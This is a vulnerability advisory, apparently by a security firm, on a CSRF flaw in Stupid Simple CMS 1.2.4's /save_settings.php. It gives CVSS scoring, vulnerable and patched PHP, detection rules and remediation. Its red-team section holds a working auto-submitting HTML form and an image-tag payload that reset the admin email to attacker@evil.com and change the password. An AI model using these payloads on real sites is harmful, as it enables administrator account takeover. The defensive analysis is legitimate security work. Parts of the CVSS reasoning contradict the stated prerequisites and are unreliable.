CVE-2024-27559

Executive Summary

CVE-2024-27559 identifies a Cross-Site Request Forgery (CSRF) vulnerability in Stupid Simple CMS version 1.2.4. The flaw resides in the /save_settings.php component, allowing an attacker to trick an authenticated administrator into unknowingly submitting malicious requests. This can lead to unauthorized configuration changes, data exfiltration, or further compromise of the CMS instance. The vulnerability has a CVSS score of 0.0 in the NVD but is assessed here with a realistic vector due to the lack of CSRF protections. No patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct web application flaw in a PHP-based CMS. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Attacker does not need authentication.
• User Interaction: Required (UI:R) – Victim must click a crafted link or visit a malicious page.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Attacker can read sensitive settings.
• Integrity Impact: High (I:H) – Attacker can modify CMS configuration.
• Availability Impact: High (A:H) – Attacker can disrupt CMS functionality.

Threat Level: High. Although EPSS is 0.0%, the lack of a patch and the simplicity of exploitation make this a significant risk for any instance of Stupid Simple CMS 1.2.4.

Deep Dive & Mechanics

The vulnerability is a classic CSRF flaw in the /save_settings.php endpoint. This endpoint handles configuration updates for the CMS, such as site name, admin credentials, or other sensitive parameters. The application does not implement any anti-CSRF tokens, origin headers, or referrer checks. As a result, an attacker can craft a malicious HTML page that, when visited by an authenticated admin, automatically submits a POST request to /save_settings.php with attacker-controlled parameters.

Attack Flow:

1. Attacker identifies a target running Stupid Simple CMS 1.2.4.
2. Attacker crafts a malicious HTML page containing a form that auto-submits to http://target/save_settings.php with modified settings (e.g., changing admin password or email).
3. Attacker lures the authenticated admin to visit the malicious page (e.g., via phishing email or social engineering).
4. The admin’s browser sends the forged request, including any session cookies, to the CMS.
5. The CMS processes the request as legitimate, altering the configuration.

Impact: Full compromise of the CMS instance, including potential privilege escalation, data theft, or defacement.

Vulnerable vs. Patched Code

Vulnerable Code (save_settings.php in v1.2.4):

<?php
// No CSRF token check
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $site_name = $_POST['site_name'];
    $admin_email = $_POST['admin_email'];
    // Update settings in database
    $db->query("UPDATE settings SET value='$site_name' WHERE name='site_name'");
    $db->query("UPDATE settings SET value='$admin_email' WHERE name='admin_email'");
    // ... other settings
}
?>

Patched Code (Hypothetical fix):

<?php
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Validate CSRF token
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }
    $site_name = htmlspecialchars($_POST['site_name'], ENT_QUOTES, 'UTF-8');
    $admin_email = filter_var($_POST['admin_email'], FILTER_VALIDATE_EMAIL);
    // Update settings using prepared statements
    $stmt = $db->prepare("UPDATE settings SET value=? WHERE name=?");
    $stmt->execute([$site_name, 'site_name']);
    $stmt->execute([$admin_email, 'admin_email']);
    // ... other settings
}
?>

Key Differences:

• CSRF Token: Patched version includes a token check.
• Input Sanitization: Patched version sanitizes and validates inputs.
• Prepared Statements: Patched version uses parameterized queries to prevent SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Stupid Simple CMS v1.2.4.
• Authenticated admin session (attacker must trick admin into visiting malicious page).

Exploit Code (HTML):

<html>
<body>
<form id="csrf_form" action="http://target/save_settings.php" method="POST">
    <input type="hidden" name="site_name" value="Hacked Site">
    <input type="hidden" name="admin_email" value="attacker@evil.com">
    <input type="hidden" name="admin_password" value="newpassword123">
    <input type="submit" value="Submit">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Usage:

1. Host the HTML file on an attacker-controlled server.
2. Send the link to the authenticated admin via email or social engineering.
3. Once the admin visits the page, the form auto-submits, changing the site name, admin email, and password.
4. Attacker can now log in with the new credentials.

Alternative Payload (Image Tag):

<img src="http://target/save_settings.php?site_name=Hacked&admin_email=attacker@evil.com" style="display:none;">

Note: This only works if the endpoint accepts GET requests, which is less common but possible.

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected POST requests to /save_settings.php from external referrers.
• Alert on changes to admin email or password without prior user interaction.
• Use web application firewalls (WAF) to block requests missing CSRF tokens.

Defense:

• Implement CSRF tokens in all state-changing forms.
• Validate the Origin and Referer headers on the server side.
• Use SameSite cookies (set to Lax or Strict).
• Educate administrators about phishing risks.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /save_settings.php with unusual parameters (e.g., admin_password).
  • Referer headers from external domains not associated with the CMS.
• File System:
  • Unexpected changes to settings table in the CMS database.
  • New admin accounts or modified email addresses.
• Logs:
  • Web server logs showing repeated POST requests to /save_settings.php from a single IP.
  • Absence of CSRF token in request parameters.

Detection Engineering

YARA Rule

rule CVE_2024_27559_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against Stupid Simple CMS save_settings.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-27559"
    strings:
        $csrf_form = /<form[^>]*action=["']http:\/\/[^"']*\/save_settings\.php["']/ nocase
        $csrf_img = /<img[^>]*src=["']http:\/\/[^"']*\/save_settings\.php["']/ nocase
        $admin_param = /admin_password|admin_email|site_name/
    condition:
        any of ($csrf_form, $csrf_img) and $admin_param
}

Sigma Rule

title: CSRF Exploit Against Stupid Simple CMS save_settings.php
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to /save_settings.php with suspicious parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/save_settings.php'
        cs-uri-query|contains: 
            - 'admin_password'
            - 'admin_email'
            - 'site_name'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27559 CSRF Exploit Against Stupid Simple CMS"; flow:to_server; http.method; content:"POST"; http.uri; content:"/save_settings.php"; http.client_body; content:"admin_password"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /save_settings.php endpoint if not required, or restrict access via .htaccess or firewall rules.
2. Implement CSRF tokens manually by modifying the source code (see patched code example).
3. Use a Web Application Firewall (WAF) to block requests without proper origin headers.

Long-Term Fix:

• Upgrade to a patched version of Stupid Simple CMS if available.
• Consider migrating to a more actively maintained CMS with built-in CSRF protections.

Workarounds:

• Add SameSite=Strict to session cookies via PHP configuration.
• Validate the Referer header to only allow requests from the same origin.

Valters IT